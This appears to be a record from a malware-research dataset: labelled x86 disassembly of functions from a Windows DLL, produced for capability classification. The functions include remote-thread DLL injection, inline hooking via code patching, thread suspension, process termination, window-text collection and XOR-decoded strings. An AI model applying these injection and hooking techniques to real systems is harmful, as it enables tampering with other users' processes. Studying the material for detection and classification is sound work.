joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10080ba0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
test eax, eax
js 0x10080df8
cmp eax, dword [ecx + 0x218]
jge 0x10080df8
imul edi, eax, 0x214
add edi, ecx
cmp dword [edi + 4], 0
je 0x10080df8
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x816]
cmp eax, dword [edi + 0x108]
jne 0x10080c1f
movzx eax, word [ebp - 0x81a]
cmp eax, dword [edi + 0x10c]
jne 0x10080c1f
movzx eax, word [ebp - 0x81c]
cmp eax, dword [edi + 0x110]
je 0x10080d21
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0x816]
mov edx, 0xf4
mov dword [edi + 0x108], eax
xor ecx, ecx
movzx eax, word [ebp - 0x81a]
mov dword [edi + 0x10c], eax
movzx eax, word [ebp - 0x81c]
mov dword [edi + 0x110], eax
nop dword [eax]
mov al, byte [ecx + 0x100d6018]
xor al, dl
mov byte [ebp + ecx - 0x840], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x10080c60
movzx eax, word [ebp - 0x816]
lea esi, [edi + 0x114]
push eax
movzx eax, word [ebp - 0x81a]
push eax
movzx eax, word [ebp - 0x81c]
push eax
lea eax, [ebp - 0x840]
mov byte [ebp - 0x81e], 0
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x214], eax
cmp eax, 0xffffffff
jne 0x10080cec
mov dword [edi + 4], 0
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10080d21
push dword [edi + 0x214]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0x80c]
push 0
push eax
call fcn.10090bb0
add esp, 0xc
lea eax, [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x80c]
push 0x400
push eax
call fcn.1003a8c0
add esp, 0x14
lea eax, [ebp - 0x40c]
push 0x400
push 0
push eax
call fcn.10090bb0
add esp, 0xc
mov edx, 0xdf
xor ecx, ecx
mov al, byte [ecx + 0x100d6064]
xor al, dl
mov byte [ebp + ecx - 0x834], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x10080d71
lea eax, [ebp - 0x80c]
mov byte [ebp - 0x821], 0
push eax
movzx eax, word [ebp - 0x810]
push eax
movzx eax, word [ebp - 0x812]
push eax
movzx eax, word [ebp - 0x814]
push eax
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x40c]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10080dd2
push 0
lea eax, [ebp - 0x844]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret
Function at 0x10080e10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1e
xor eax, eax
mov dl, byte [edi + eax + 0x7f90da95]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x10080e21
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10081100
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x10232f4c]
test eax, eax
je 0x1008111c
nop dword [eax]
cmp dword [eax + 4], 0
jne 0x10081176
mov eax, dword [eax]
test eax, eax
jne 0x10081110
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
test ecx, ecx
je 0x10081174
push esi
lea edx, [ecx + 0x20]
mov dword [ecx + 4], 0
mov esi, edx
mov dword [ecx + 8], 0
sub esi, ecx
nop dword [eax]
mov eax, dword [ecx + 4]
add esi, 0x20
mov dword [edx], eax
mov dword [ecx + 4], edx
add edx, 0x20
cmp esi, 0xfe0
jbe 0x10081150
mov eax, dword [0x10232f4c]
mov dword [ecx], eax
mov dword [0x10232f4c], ecx
pop esi
mov eax, ecx
ret
Function at 0x10081b80
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 4
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x10081c68
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10081c61
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop word [eax + eax]
cmp dword [ebp - 0x20], 0x10
jb 0x10081c46
call ebx
cmp dword [ebp - 0x14], eax
jne 0x10081c46
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10081c46
mov ecx, dword [esi]
test ecx, ecx
jne 0x10081c0f
push 0x200
push ecx
push dword [0x101ef2ec]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x10081c60
jmp 0x10081c38
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10081c38
shl eax, 3
push eax
push ecx
push 0
push dword [0x101ef2ec]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x10081c60
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10081bd0
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret

Function at 0x10081c80
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.10081b80
cmp dword [edi], 0
je 0x10081cec
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x10081ceb
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10081ce4
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 4]
mov ecx, ebx
call fcn.10081a10
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x10081cb1
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10081d00
Capabilities:
Resume thread

Disassembly:
push edi
mov edi, ecx
cmp dword [edi], 0
je 0x10081d4c
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x10081d3b
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10081d34
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x10081d11
pop ebx
push dword [edi]
push 0
push dword [0x101ef2ec]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
ret
Function at 0x10081d50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
imul edi, ecx, 0x2c
mov ebx, 5
add edi, dword [0x10232f40]
test byte [edi + 0x14], 1
mov esi, dword [edi]
je 0x10081d74
sub esi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10081d92
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [esi], 0xe9
mov eax, dword [edi + 4]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
test byte [edi + 0x14], 1
je 0x10081dad
mov eax, dword [edi]
mov word [eax], 0xf9eb
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [edi + 0x14], 6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10081de0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x10232f48]
push ebx
push esi
xor ebx, ebx
xor esi, esi
mov dword [ebp - 4], ebx
test ecx, ecx
je 0x10081ebd
mov eax, dword [0x10232f40]
add eax, 0x14
test byte [eax], 2
je 0x10081e1a
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x10081e05
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x10081ebd
push edi
push 1
or edx, 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10081c80
mov ecx, dword [0x10232f48]
add esp, 4
cmp esi, ecx
jae 0x10081e6b
imul edi, esi, 0x2c
mov eax, dword [0x10232f40]
test byte [edi + eax + 0x14], 2
jne 0x10081e60
mov ecx, esi
call fcn.10081d50
mov ebx, eax
test ebx, ebx
jne 0x10081e68
mov ecx, dword [0x10232f48]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x10081e41
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10081ebc
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x10081ead
mov ebx, eax
nop dword [eax + eax]
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10081ea1
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x10081e80
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x101ef2ec]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10082500
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push edi
push 0
push 0x410
mov byte [0x101e6e9c], 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10082642
push 0x104
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x1008263b
push ecx
lea edx, [ebp - 0x210]
lea ecx, [ebp - 0x418]
call fcn.10086fc0
add esp, 4
test al, al
je 0x1008263b
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.100805b0
test al, al
jne 0x100825b5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea edx, [ebp - 0x458]
mov ecx, 1
call fcn.1003ceb0
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.10080880
test al, al
jne 0x100825fb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea edx, [ebp - 0x458]
mov ecx, 2
call fcn.1003ceb0
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
push ecx
lea eax, [ebp - 0x210]
push eax
call fcn.1003e240
test al, al
jne 0x1008263b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
lea edx, [ebp - 0x458]
mov ecx, 5
call fcn.1003ceb0
add esp, 4
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
mov byte [0x101e6e9c], 0
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
Function at 0x10082720
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b8370
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x100e41c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
mov eax, 0xdd67c8a7
mov dword [ebp - 4], 0
or esi, 0xffffffff
mov ecx, dword [0x101ef768]
sub ecx, dword [0x101ef764]
imul ecx
mov byte [0x101e6e9c], 1
mov eax, dword [edi + 8]
add edx, ecx
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp ebx, eax
ja 0x100827a7
push str.invalid_vector_T__subscript
call fcn.1008c788
mov eax, 0x10082793
ret
mov ecx, dword [0x101ef764]
imul edx, eax, 0x128
mov eax, dword [edx + ecx]
add edx, ecx
cmp eax, dword [edi + 0xc]
jne 0x100827f4
lea ecx, [edi + 0x10]
lea eax, [edx + 0x24]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100827e3
test dl, dl
je 0x100827df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100827e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x100827c3
xor eax, eax
jmp 0x100827e8
sbb eax, eax
or eax, 1
mov ecx, dword [0x101ef764]
test eax, eax
cmove esi, dword [edi + 8]
mov dword [ebp - 4], 0xffffffff
cmp esi, 0xffffffff
je 0x10082838
cmp ebx, esi
ja 0x1008280e
push str.invalid_vector_T__subscript
call fcn.1008c788
imul eax, esi, 0x128
push dword [eax + ecx]
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x10082831
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [0x101e6e9c], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10083190
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push 0
push 0
push 3
push 0
push 1
push connect
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100831e3
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x100831f6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x1008322b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x100832ab
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x100832a4
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x100832a4
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x10083274
mov edx, 0x8664
cmp cx, dx
jne 0x100832a4
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x100832a4
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x3c]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x100832cc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x20
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x100832a5
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100834f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b839b
mov eax, dword fs:[0]
push eax
sub esp, 0xc30
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc3c], 0
mov dword [ebp - 0xc38], 0
mov dword [ebp - 0xc34], 0
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0xc3c]
mov dword [ebp - 4], 0
call fcn.10088c70
mov word [ebp - 0xc30], 0xac2
mov byte [ebp - 0xc2e], 0xc
call fcn.1009de24
and eax, 0x800000ff
jns 0x10083574
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc38]
xor edi, edi
mov byte [ebp - 0xc2d], al
mov eax, dword [ebp - 0xc3c]
sub ebx, eax
sar ebx, 2
mov byte [ebp - 0xc2c], 0x21
mov dword [ebp - 0xc28], ebx
test ebx, ebx
je 0x1008365e
lea esi, [ebp - 0x724]
jmp 0x100835b6
mov eax, dword [ebp - 0xc3c]
cmp edi, 0x14
jge 0x1008365e
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0xc3c]
push dword [eax + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x118]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x108]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf8]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x220]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x210]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x200]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1f0]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, ebx
jb 0x100835b0
push 0xa0c
lea eax, [ebp - 0xc30]
push eax
call fcn.100021e0
mov ecx, dword [ebp - 0xc3c]
test ecx, ecx
je 0x1008368b
mov eax, dword [ebp - 0xc34]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.1007c290
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 4
Function at 0x10083af0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.1008ec00
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1010], 0
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x10083b44
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x1010]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x10083b8f
mov eax, dword [ebp + esi*4 - 0x100c]
test eax, eax
je 0x10083b8a
push eax
call fcn.10083f20
test al, al
je 0x10083b8a
push ecx
push dword [ebp + esi*4 - 0x100c]
call fcn.10083bb0
test al, al
je 0x10083b30
push ecx
push dword [ebp + esi*4 - 0x100c]
call fcn.10082500
test al, al
je 0x10083b30
inc esi
cmp esi, edi
jl 0x10083b53
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 4

Function at 0x10083c90
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.1008ec00
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x110c]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
mov dword [ebp - 0x110c], 0
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10083ce6
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
push esi
push edi
mov edi, dword [ebp - 0x110c]
xor esi, esi
shr edi, 2
test edi, edi
jle 0x10083d55
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + esi*4 - 0x1108]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x10083d50
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x108]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10083d47
test dl, dl
je 0x10083d43
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10083d47
add ecx, 2
add eax, 2
test dl, dl
jne 0x10083d27
xor eax, eax
jmp 0x10083d4c
sbb eax, eax
or eax, 1
test eax, eax
je 0x10083d6a
inc esi
cmp esi, edi
jl 0x10083d00
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret 8
Function at 0x10083d80
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10083dc3
push 0
push ebx
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10083dcc
push 0x8000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 0xc
push 0x100d61e8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10083db5
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10083db5
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push edi
push esi
test eax, eax
jne 0x10083dbd
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 0xc

Function at 0x100843f0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0x20
push 3
push 0
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1008442a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x1a4
je 0x10084431
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
pop ebp
ret 4
push 0
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push 0x1a4
push 0x101e6cf8
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10084423
movaps xmm1, xmmword [0x100d6a40]
mov ecx, 0x101e6d08
movaps xmm2, xmmword [0x100d6f90]
mov edx, 0xd
mov eax, 0x1a0
lea ecx, [ecx + 0x20]
movups xmm0, xmmword [ecx - 0x30]
psubb xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x30]
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
psubb xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
sub edx, 1
jne 0x10084470
nop dword [eax + eax]
mov cl, byte [eax + 0x101e6cf8]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101e6cf8], cl
inc eax
cmp eax, 0x1a4
jb 0x100844b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
pop ebp
ret 4